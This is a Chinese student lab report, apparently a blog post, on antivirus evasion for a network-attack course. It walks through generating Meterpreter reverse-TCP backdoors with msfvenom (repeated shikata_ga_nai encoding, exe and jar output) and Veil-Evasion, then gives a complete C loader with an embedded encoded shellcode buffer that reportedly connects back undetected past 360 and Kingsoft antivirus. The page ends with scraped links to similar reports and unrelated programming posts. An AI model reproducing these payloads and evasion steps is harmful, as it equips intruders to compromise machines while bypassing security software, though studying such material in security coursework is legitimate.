2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

时间:2022-09-11 10:01:24

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践


实验内容(概要)

一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 使用msf编码器生成各种后门程序及检测

msf编码器是非常实用的,但是我的实践表明,直接实用msf生成后门(exe文件)是不容易躲过杀毒的,因此我认为在这场GAME中MSF试用于生成C语言的shellcode。

2. 使用veil-evasion生成后门程序及检测

同msf一样,直接生成exe难以免杀,C语言程序值得借鉴。

3. 半手工注入Shellcode并执行

鉴于自动生成后门程序的失败,半手工生成shellcode,这应该是最稳妥的方法。

二、通过组合应用各种技术实现恶意代码免杀

经过大量的测试,win10系统自带的Windows Defender难以攻破。

(各种组合均未成功,而且我也没找到怎么看自己Windows Defender的版本,实验日期是190329,由于设置了自动更新,安装的应该是此时最新的Windows Defender)

因此,这次实验我只能退而求其次,以360杀毒作为我的对手。

三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

靶机也不是Windows Defender。。。。。。

详细说明附后。


基础问题回答

一、杀软是如何检测出恶意代码的?

启发式(长得像坏人、干的事情也像坏人就逮捕他!)、基于程序行为检测(实锤这个程序有没有干一些非法的事情)和基于特征码检测(检测壳、检测shellcode、检测编码头部)。

二、免杀是做什么?

免杀就是针对上面说的——杀软的三个检测方法进行伪装,避免杀软被找到,避免攻击进程被拦截或者杀死。

正所谓道高一尺魔高一丈。。。。。

三、免杀的基本方法有哪些?

针对启发式和程序行为检测:附着在正常/合法程序的后面,同时启动,后台运行,尽量让杀软看不出区别;悄悄地进村,开枪的不要,动静尽量小,操作尽量少。

针对特征码检测:用自己的方法让杀软看不出来shellcode,想办法封装。


实验步骤

Before We Start It

使用360杀毒,程序版本:5.0.0.8150

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

检查更新:目前是最新版本。

一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 使用msf编码器生成各种后门程序及检测

1.1 不使用任何伪装

首先在kali输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.215 LPORT=5325 -f exe > 5325-1.exe

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

当拷贝到主机时发现:被逮捕了。

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

1.2 用MSF对后门程序进行多次编码

msfvenom要用到的参数,供参考:

  • -a <arch> 设置靶机CPU架构
  • --platform <platform> 设置靶机平台,可以通过--help-platforms选项查看msfvenom支持的所有平台
  • -p <payload> 设置攻击载荷,可以通过-l payloads查看所有攻击载荷
  • -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
  • -i <count> 指定编码迭代的次数
  • -x <path> 指定模版(合法程序)
  • -k 该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上(我失败了)。
  • -f <format> 指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的……,用--help-formats查看所有支持的格式

在kali输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.43.215 LPORT=5325 -f exe > 5325-2.exe

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

拷贝到主机时又被逮捕了。

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

所以说直接生成exe是不行的,msfvenom肯定被很多杀软研究过,他生成的exe应该有一定特征(被杀软找到了并且作为特征码查杀)

即使多次编码,就死盯解码部分,那么理论上说,这样是无论如何都行不通的。

这道理我我我我我说不清楚,可以看孙晓暄学姐的博客(瞧瞧这话说的多么有水平!我这文盲语文水平就说不出来)

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

别问,问就是牛逼。

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

同样的事情也会发生在jar身上;

在kali输入msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.207 LPORT=5325 -f jar> 5325-8.jar

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

2. 使用veil-evasion生成后门程序及检测

基于msfvenom的经验,我猜这样是行不通的(先奶一口)。

veil的安装我就不写了,我记得我就sudo apt-get install veil-evasion就好了,可能我那会儿突然欧气了吧,幸运地没有遇到问题。

kali输入veil进入;

接着:Veil>: use Evasion

然后:Veil/Evasion>: list

能看见:

===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=============================================================================== [*] Available Payloads: 1) autoit/shellcode_inject/flat.py 2) auxiliary/coldwar_wrapper.py
3) auxiliary/macro_converter.py
4) auxiliary/pyinstaller_wrapper.py 5) c/meterpreter/rev_http.py
6) c/meterpreter/rev_http_service.py
7) c/meterpreter/rev_tcp.py
8) c/meterpreter/rev_tcp_service.py 9) cs/meterpreter/rev_http.py
10) cs/meterpreter/rev_https.py //后面还有很多

紧接着:Veil/Evasion>: use 7

7就是c/meterpreter/rev_tcp.py,然后设置如下即可生成:

[c/meterpreter/rev_tcp>>]: set LPORT 5325
[c/meterpreter/rev_tcp>>]: set LHOST 192.168.43.215
[c/meterpreter/rev_tcp>>]: generate

起个名:

[>] Please enter the base name for output files (default is payload): 5325-3

回车就ok了:

===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=============================================================================== [*] Language: c
[*] Payload Module: c/meterpreter/rev_tcp
[*] Executable written to: /var/lib/veil/output/compiled/5325-3.exe
[*] Source code written to: /var/lib/veil/output/source/5325-3.c
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/5325-3.rc Hit enter to continue...

你可以看见,已经生成exe文件到/var/lib/veil/output/compiled/5325-3.exe目录下面了。

拷贝到主机就又被逮捕了。。。。。

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

3. 半手工注入Shellcode并执行

半手工就是说自己编译执行。

首先在上面veil有一个文件是c语言的( [*] Source code written to: /var/lib/veil/output/source/5325-3.c),可以拷贝到主机看看。

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

尝试用CB、VC、mingw编译均失败了,报错为 undefined reference to `WSAStartup@8'之类的。

我发现后门的源代码中使用了socket套接字,mingw手工编译时需要链接ws2_32库,输入指令,gcc 5325-3.c -o 5325.exe -lws2_32编译成功。

后面回连成功,没有拦截:

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

垃圾360:

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

还有一种方法:使用msfvenom

kali输入:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.43.215 LPORT=5325 -f c生成C语言的代码。

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

在vc里面运行:

#include "stdafx.h"

#include <windows.h>
#include <stdio.h> //data段可读写
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] =
"\xdb\xde\xbb\x21\x8c\xc5\x6b\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"
"\x93\x83\xef\xfc\x31\x5f\x13\x03\x7e\x9f\x27\x9e\x3a\x9d\x62"
"\x15\xe9\x7b\xab\x0f\x79\x58\xc0\xee\xb0\x69\x99\x83\x83\x3f"
"\xc9\x98\xb5\xac\x6e\x58\x3f\xf4\xf1\x0c\xd0\x06\x92\xe7\x1c"
"\x35\xf8\xb9\x88\x8e\x15\xbb\x71\xf7\x35\x5f\x6b\x8a\x69\xcb"
"\x73\x88\xab\x55\xa8\xdd\x80\xa4\x97\xab\x28\x98\x26\x8a\x3b"
"\x8c\xde\x8a\xa5\x87\x88\x52\x17\x21\x76\xe7\x32\x62\x1b\x32"
"\xf8\x9c\xb3\xd0\x03\xaf\xd0\x50\xa5\x1a\x3f\x26\x35\xf5\x9e"
"\x25\x17\xd0\xbb\xfc\x61\x8d\xa5\xdf\xfd\x13\x8c\xc4\x92\xeb"
"\xf4\xc3\x87\x6e\x74\x98\xad\xee\x0c\x1b\x01\x92\x44\x89\xf6"
"\x3c\x93\x01\xf1\x8c\xb3\x5e\xc8\x66\xff\x97\x22\x51\x1f\x65"
"\x93\x83\x4a\x72\x90\x49\x5e\x90\x2a\x38\x3f\xe5\xf1\x79\x0a"
"\xb7\x51\xe5\xb7\x84\x3d\xaf\x0e\xdf\xfc\x74\x86\x9d\x59\xad"
"\x3a\xbb\x11\x33\x7a\xc6\x62\x5c\xf9\x02\xcd\x0a\xeb\xb1\xd3"
"\x8a\xa2\x0d\xfa\xf8\xec\x37\xdf\xad\xfb\x0c\x4b\xd7\xc9\xab"
"\x51\xd7\x4a\x99\x38\x99\x5b\x6b\x72\x61\x66\x8f\x72\xd0\xbd"
"\x47\x34\x70\xd4\x5e\x71\x0d\x56\x4d\xd0\xaa\xeb\x80\x12\x51"
"\x50\x30\xae\x24\xc2\x76\x68\xd4\x12\xb5\x66\x34\xfd\x6f\x2e"
"\xce\x42\xf5\x7a\xcd\xff\xa2\x3c\x4d\xda\x69\x74\xa4\x1a\x8c"
"\x85\xd0\x38\xd6\x7e\xb8\x4e\x3c\xd7\xbe\x35\xf0\x95\x81\x82"
"\xab\x56\xcb\x39\xa9\x74\x39\x25\xe6\xef\xb1\x9e\xd9\x43\x36"
"\x91\xec\x30\x72\xc1\x83\x05\x25\x03\xfc\xd0\xbf\xc2\x08\x80"
"\x36\xd2\x61\xd8\x9f\xc3\x01\x69\xd1\x26\x4a\x08\x4a\x38\xa2"
"\x8e\x73\x81\xce\x43\x5f\x54\x68\xe2\x4a\x59\xab\x5c\x5b\xaa"
"\xc5\x1e\xc0\x57\x75\x3b\xd2\x5b\xcc\x0d\x8e\xae\x0a\xd6\xbe"
"\x60\x79\xd1\xd6\x1f\x0d\xa4\x80\x8e\xca\x62\x94\xc4\x24\x50"
"\xa0\xdf\x26\x1c\x5a\xe0\x3d\x6c\x0a\xfb\x6b\xc9\x60\x23\xa8"
"\x09\xb8\xfc\xb4\x1b\x67\x6c\x19\x4e\x1e\x8e\xe1\x46\x39\xc5"
"\xc9\x08\x9b\x02\x89\x74\x11\xb1\xf5\x34\x0a\x28\x89\xe4\x24"
"\x5a\x68\xc5\xdf\xa2\xaf\x65\xec\x59\x47\x93\x85\x9e\xae\x61"
"\xe0\xf4\x75\xb6\x24\xc3\x30\xd6\xca\x32\x41\x50\x4b\x3b\xa1"
"\xfa\x30\x92\xb4\xf8\x62\x18\x46\xdb\x8b\x61\xa0\x9c\x1c\x67"
"\x6f\x69\x24\x3d\xb8\x5d\xb3\x5c\x53\x75\xa9\x48\x71\x2f\x0a"
"\x90\x87\xb7\x32\x6c\x5f\xba\x2d\x6e\x9f\x2f\xfc\xf1\x9e\xfb"
"\x48\xbe\x97\xf7\xe3\xb7\x55\x78\x28\xeb\xd3\xcf\xbc\x80\x9b"
"\xa8\x03\x9d\xc1\x28\xe6\x45\x99\x84\xb2\xca\xb7\x44\x90\xde"
"\xd7\x40\xd4\x4c\x4a\x70\x3a\x15\xa1\xcd\x20\x79\x26\xdc\x77"
"\x9e\xea\x4e\x48\x1f\x57\xd0\x44\x8b\x20\x1a\x87\x5c\xe2\xdf"
"\x8a\xb8\x3e\xb5\x34\xaf\xbc\x82\xc9\x3d\x9d\x88\x2f\x6f\xde"
"\xd0\xc8\x19\x3a\x6a\x96\xce\x6a\x05\xcf\x41\x79\x74\x11\xd2"
"\x94\x38\xba\xdb\x22\xc6\x70\x3b\xff\x5c\xde"; int main(){
__asm
{
lea eax, buf;
jmp eax;
}
return 0;
}

再次回连成功:

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

查不出来,稳得一批。

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践


用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

靶机金山毒霸,回连成功。

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践


心得体会

首先我想说一句,这个东西,很有可能,今天成了,明天就不成功了。

是真的啊,真的可怕。

所以以后不能随便传上网扫了。

还有就是Windows defender牛逼,怎么都成功不了。但是太过敏感的杀软,用户体验也不好,所以呢这可能存在一个平衡吧我猜。

另外,除了后门的生成,后门如何启动也是一个问题。。。。。

最后,我想说,我好菜啊。。。。。

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  9. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. 搭建一个简单的Struts2&lpar;Struts2&lowbar;HelloWorld&rpar;

    1.导入Jar包 2.配置web.xml 1 <?xml version="1.0" encoding="UTF-8"?> 2 <web-ap ...

  2. 《Prism 5&period;0源码走读》Service Locator Pattern

    在Prism Bootstrapper里面取实例的时候使用 ServiceLocator模式,使用的是CommonServiceLocator库 (http://commonservicelocato ...

  3. Spring中RedirectAttributes对象重定向传参

    Spring3中的FlashAttribute 为 了防止用户刷新重复提交,save操作之后一般会redirect到另一个页面,同时带点操作成功的提示信息.因为是Redirect,Request里 的 ...

  4. Android Studio tips and tricks 翻译学习

    Android Studio tips and tricks 翻译 这里是原文的链接. 正文: 如果你对Android Studio和IntelliJ不熟悉,本页提供了一些建议,让你可以从最常见的任务 ...

  5. Shiro基础学习&lpar;一&rpar;&mdash&semi;权限管理

    一.基本概念 1.权限管理      只要有用户参与的系统一般都要有权限管理,权限管理实现对用户访问系统的控制,按照安全规则或者安全策略控制用户可以访问而且只能访问自己被授权的资源.     权限管理 ...

  6. backbone与require的共存问题解决

    如果向下面那样直接列出script标签可能会出现错误,   <script type="text/javascript" src="/dep/jquery-1.11 ...

  7. The Ultimate Guide To iPhone Resolutions

    备忘:http://www.paintcodeapp.com/news/ultimate-guide-to-iphone-resolutionshttp://appicontemplate.com/

  8. C&num;基础&lpar;201&rpar;--常量枚举

    本文知识点: 1.掌握常量的定义和使用方法 2.理解枚举的作用和特点 3.掌握枚举的使用方法 1.1.常量的定义语法 const  数据类型   常量名称  =  值: 1.2.常见错误 1.3常量的 ...

  9. 《Python》 文件操作

    一.文件操作基本流程: 1.文件基本操作初识: 打开文件: 文件句柄 = open(‘文件路径’,‘编码方式’,‘打开方式’) 第一种:f = open('d:\'a.txt',encoding='u ...

  10. Code First 数据迁移 转

    一.为模型更改设置 Code First 数据迁移 1.工具—>库程序包管理器—>程序包管理器控制台—>输入“Enable-Migrations”  或者 Enable-Migrat ...